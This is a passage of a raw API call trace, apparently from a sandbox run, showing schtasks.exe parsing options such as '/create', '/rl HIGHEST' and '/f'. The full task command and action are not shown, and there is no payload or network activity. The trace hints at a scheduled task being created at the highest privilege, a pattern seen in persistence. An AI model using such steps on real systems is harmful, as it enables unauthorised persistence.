lstrlenW (lpString="|rl|") returned 4 [0082.301] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0082.301] SetLastError (dwErrCode=0x490) [0082.301] lstrlenW (lpString="run") returned 3 [0082.301] lstrlenW (lpString="run") returned 3 [0082.301] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] lstrlenW (lpString="rl") returned 2 [0082.301] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.301] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.301] lstrlenW (lpString="|run|") returned 5 [0082.301] lstrlenW (lpString="|rl|") returned 4 [0082.301] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0082.301] SetLastError (dwErrCode=0x490) [0082.302] lstrlenW (lpString="end") returned 3 [0082.302] lstrlenW (lpString="end") returned 3 [0082.302] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.302] lstrlenW (lpString="rl") returned 2 [0082.302] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.302] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.302] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.302] lstrlenW (lpString="|end|") returned 5 [0082.302] lstrlenW (lpString="|rl|") returned 4 [0082.302] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0082.302] SetLastError (dwErrCode=0x490) [0082.302] lstrlenW (lpString="showsid") returned 7 [0082.302] lstrlenW (lpString="showsid") returned 7 [0082.302] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.302] lstrlenW (lpString="rl") returned 2 [0082.302] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.302] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.302] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.302] lstrlenW (lpString="|showsid|") returned 9 [0082.302] lstrlenW (lpString="|rl|") returned 4 [0082.302] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0082.302] SetLastError (dwErrCode=0x490) [0082.302] SetLastError (dwErrCode=0x490) [0082.302] SetLastError (dwErrCode=0x0) [0082.302] lstrlenW (lpString="/rl") returned 3 [0082.302] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0082.302] SetLastError (dwErrCode=0x490) [0082.302] SetLastError (dwErrCode=0x0) [0082.302] lstrlenW (lpString="/rl") returned 3 [0082.302] GetProcessHeap () returned 0x140000 [0082.302] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c6d0 [0082.303] GetProcessHeap () returned 0x140000 [0082.303] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cfa0 [0082.303] SetLastError (dwErrCode=0x0) [0082.303] SetLastError (dwErrCode=0x0) [0082.303] lstrlenW (lpString="HIGHEST") returned 7 [0082.303] lstrlenW (lpString="-/") returned 2 [0082.303] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0082.303] SetLastError (dwErrCode=0x490) [0082.303] SetLastError (dwErrCode=0x490) [0082.303] SetLastError (dwErrCode=0x0) [0082.303] lstrlenW (lpString="HIGHEST") returned 7 [0082.303] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0082.303] SetLastError (dwErrCode=0x490) [0082.303] SetLastError (dwErrCode=0x0) [0082.303] lstrlenW (lpString="HIGHEST") returned 7 [0082.303] GetProcessHeap () returned 0x140000 [0082.303] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d6e0 [0082.303] GetProcessHeap () returned 0x140000 [0082.303] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cfd0 [0082.303] SetLastError (dwErrCode=0x0) [0082.303] SetLastError (dwErrCode=0x0) [0082.303] lstrlenW (lpString="/f") returned 2 [0082.303] lstrlenW (lpString="-/") returned 2 [0082.303] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.303] lstrlenW (lpString="?") returned 1 [0082.303] lstrlenW (lpString="?") returned 1 [0082.303] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.303] lstrlenW (lpString="f") returned 1 [0082.303] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.303] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.303] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.303] lstrlenW (lpString="|?|") returned 3 [0082.303] lstrlenW (lpString="|f|") returned 3 [0082.304] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0082.304] SetLastError (dwErrCode=0x490) [0082.304] lstrlenW (lpString="create") returned 6 [0082.304] lstrlenW (lpString="create") returned 6 [0082.304] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] lstrlenW (lpString="f") returned 1 [0082.304] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.304] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.304] lstrlenW (lpString="|create|") returned 8 [0082.304] lstrlenW (lpString="|f|") returned 3 [0082.304] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0082.304] SetLastError (dwErrCode=0x490) [0082.304] lstrlenW (lpString="delete") returned 6 [0082.304] lstrlenW (lpString="delete") returned 6 [0082.304] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] lstrlenW (lpString="f") returned 1 [0082.304] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.304] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.304] lstrlenW (lpString="|delete|") returned 8 [0082.304] lstrlenW (lpString="|f|") returned 3 [0082.304] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0082.304] SetLastError (dwErrCode=0x490) [0082.304] lstrlenW (lpString="query") returned 5 [0082.304] lstrlenW (lpString="query") returned 5 [0082.304] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] lstrlenW (lpString="f") returned 1 [0082.304] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.304] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.305] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.305] lstrlenW (lpString="|query|") returned 7 [0082.305] lstrlenW (lpString="|f|") returned 3 [0082.305] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0082.305] SetLastError (dwErrCode=0x490) [0082.305] lstrlenW (lpString="change") returned 6 [0082.305] lstrlenW (lpString="change") returned 6 [0082.305] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.305] lstrlenW (lpString="f") returned 1 [0082.305] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.305] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.305] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.305] lstrlenW (lpString="|change|") returned 8 [0082.305] lstrlenW (lpString="|f|") returned 3 [0082.305] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0082.305] SetLastError (dwErrCode=0x490) [0082.305] lstrlenW (lpString="run") returned 3 [0082.305] lstrlenW (lpString="run") returned 3 [0082.305] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.305] lstrlenW (lpString="f") returned 1 [0082.305] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.305] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.305] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.305] lstrlenW (lpString="|run|") returned 5 [0082.305] lstrlenW (lpString="|f|") returned 3 [0082.305] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0082.305] SetLastError (dwErrCode=0x490) [0082.305] lstrlenW (lpString="end") returned 3 [0082.305] lstrlenW (lpString="end") returned 3 [0082.305] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.305] lstrlenW (lpString="f") returned 1 [0082.306] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.306] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.306] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.306] lstrlenW (lpString="|end|") returned 5 [0082.306] lstrlenW (lpString="|f|") returned 3 [0082.306] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0082.306] SetLastError (dwErrCode=0x490) [0082.306] lstrlenW (lpString="showsid") returned 7 [0082.306] lstrlenW (lpString="showsid") returned 7 [0082.306] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.306] lstrlenW (lpString="f") returned 1 [0082.306] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.306] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.306] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|f|") returned 3 [0082.306] lstrlenW (lpString="|showsid|") returned 9 [0082.306] lstrlenW (lpString="|f|") returned 3 [0082.306] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0082.306] SetLastError (dwErrCode=0x490) [0082.306] SetLastError (dwErrCode=0x490) [0082.306] SetLastError (dwErrCode=0x0) [0082.306] lstrlenW (lpString="/f") returned 2 [0082.306] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0082.306] SetLastError (dwErrCode=0x490) [0082.306] SetLastError (dwErrCode=0x0) [0082.306] lstrlenW (lpString="/f") returned 2 [0082.306] GetProcessHeap () returned 0x140000 [0082.306] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x6) returned 0x15deb0 [0082.306] GetProcessHeap () returned 0x140000 [0082.306] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15d000 [0082.306] SetLastError (dwErrCode=0x0) [0082.306] GetProcessHeap () returned 0x140000 [0082.306] GetProcessHeap () returned 0x140000 [0082.307] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3c0) returned 1 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c3c0) returned 0x8 [0082.307] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c3c0 | out: hHeap=0x140000) returned 1 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0) returned 1 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdf0) returned 0x20 [0082.307] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0 | out: hHeap=0x140000) returned 1 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce20) returned 1 [0082.307] GetProcessHeap () returned 0x140000 [0082.307] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ce20) returned 0x26 [0082.308] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce20 | out: hHeap=0x140000) returned 1 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce50) returned 1 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ce50) returned 0x20 [0082.308] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce50 | out: hHeap=0x140000) returned 1 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c450) returned 1 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c450) returned 0x8 [0082.308] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c450 | out: hHeap=0x140000) returned 1 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] GetProcessHeap () returned 0x140000 [0082.308] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce80) returned 1 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ce80) returned 0x20 [0082.309] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce80 | out: hHeap=0x140000) returned 1 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c470) returned 1 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c470) returned 0xe [0082.309] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c470 | out: hHeap=0x140000) returned 1 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ceb0) returned 1 [0082.309] GetProcessHeap () returned 0x140000 [0082.309] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ceb0) returned 0x20 [0082.310] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ceb0 | out: hHeap=0x140000) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c490) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c490) returned 0x8 [0082.310] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c490 | out: hHeap=0x140000) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cee0) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cee0) returned 0x20 [0082.310] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cee0 | out: hHeap=0x140000) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] GetProcessHeap () returned 0x140000 [0082.310] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0) returned 1 [0082.310] GetProcessHeap () returned 0x140000 [0082.311] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c4b0) returned 0x6 [0082.311] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0 | out: hHeap=0x140000) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf10) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf10) returned 0x20 [0082.311] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf10 | out: hHeap=0x140000) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4d0) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c4d0) returned 0x8 [0082.311] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4d0 | out: hHeap=0x140000) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf40) returned 1 [0082.311] GetProcessHeap () returned 0x140000 [0082.311] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf40) returned 0x20 [0082.312] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf40 | out: hHeap=0x140000) returned 1 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c610) returned 1 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c610) returned 0xae [0082.312] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c610 | out: hHeap=0x140000) returned 1 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf70) returned 1 [0082.312] GetProcessHeap () returned 0x140000 [0082.312] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf70) returned 0x20 [0082.313] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf70 | out: hHeap=0x140000) returned 1 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c6d0) returned 1 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c6d0) returned 0x8 [0082.313] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c6d0 | out: hHeap=0x140000) returned 1 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfa0) returned 1 [0082.313] GetProcessHeap () returned 0x140000 [0082.313] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cfa0) returned 0x20 [0082.314] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfa0 | out: hHeap=0x140000) returned 1 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d6e0) returned 1 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d6e0) returned 0x10 [0082.314] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d6e0 | out: hHeap=0x140000) returned 1 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfd0) returned 1 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cfd0) returned 0x20 [0082.314] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfd0 | out: hHeap=0x140000) returned 1 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] GetProcessHeap () returned 0x140000 [0082.314] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15deb0) returned 1 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15deb0) returned 0x6 [0082.315] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15deb0 | out: hHeap=0x140000) returned 1 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d000) returned 1 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d000) returned 0x20 [0082.315] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d000 | out: hHeap=0x140000) returned 1 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x1555e0) returned 1 [0082.315] GetProcessHeap () returned 0x140000 [0082.315] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x1555e0) returned 0x18 [0082.316] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1555e0 | out: hHeap=0x140000) returned 1 [0082.316] SetLastError (dwErrCode=0x0) [0082.316] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0082.316] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0082.316] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0082.316] VerifyVersionInfoW (in: lpVersionInformation=0xbc7b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc7b0) returned 1 [0082.316] SetLastError (dwErrCode=0x0) [0082.316] lstrlenW (lpString="create") returned 6 [0082.316] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0082.316] SetLastError (dwErrCode=0x490) [0082.316] SetLastError (dwErrCode=0x0) [0082.316] lstrlenW (lpString="create") returned 6 [0082.317] GetProcessHeap () returned 0x140000 [0082.317] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15d000 [0082.317] GetProcessHeap () returned 0x140000 [0082.317] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15d6e0 [0082.317] _memicmp (_Buf1=0x15d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.317] GetProcessHeap () returned 0x140000 [0082.317] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d700 [0082.317] SetLastError (dwErrCode=0x0) [0082.317] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x15bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0082.317] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0082.318] GetProcessHeap () returned 0x140000 [0082.318] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x74e) returned 0x15deb0 [0082.318] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x15deb0 | out: lpData=0x15deb0) returned 1 [0082.318] VerQueryValueW (in: pBlock=0x15deb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc898, puLen=0xbc900 | out: lplpBuffer=0xbc898*=0x15e24c, puLen=0xbc900) returned 1 [0082.318] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.318] _vsnwprintf (in: _Buffer=0x15bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc878 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0082.318] VerQueryValueW (in: pBlock=0x15deb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc908, puLen=0xbc8f8 | out: lplpBuffer=0xbc908*=0x15e078, puLen=0xbc8f8) returned 1 [0082.318] lstrlenW (lpString="schtasks.exe") returned 12 [0082.318] lstrlenW (lpString="schtasks.exe") returned 12 [0082.318] lstrlenW (lpString=".EXE") returned 4 [0082.318] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0082.318] lstrlenW (lpString="schtasks.exe") returned 12 [0082.319] lstrlenW (lpString=".EXE") returned 4 [0082.319] lstrlenW (lpString="schtasks") returned 8 [0082.319] lstrlenW (lpString="/create") returned 7 [0082.319] _memicmp (_Buf1=0x15bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.319] _vsnwprintf (in: _Buffer=0x15bdf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc878 | out: _Buffer="schtasks /create") returned 16 [0082.319] _memicmp (_Buf1=0x15bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.319] GetProcessHeap () returned 0x140000 [0082.319] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cfd0 [0082.319] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.319] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0082.319] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0082.319] GetProcessHeap () returned 0x140000 [0082.319] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x30) returned 0x157cb0 [0082.319] _vsnwprintf (in: _Buffer=0x15c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc878 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0082.319] GetProcessHeap () returned 0x140000 [0082.319] GetProcessHeap () returned 0x140000 [0082.319] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15deb0) returned 1 [0082.319] GetProcessHeap () returned 0x140000 [0082.319] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15deb0) returned 0x74e [0082.320] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15deb0 | out: hHeap=0x140000) returned 1 [0082.320] SetLastError (dwErrCode=0x0) [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="create") returned 6 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="?") returned 1 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", 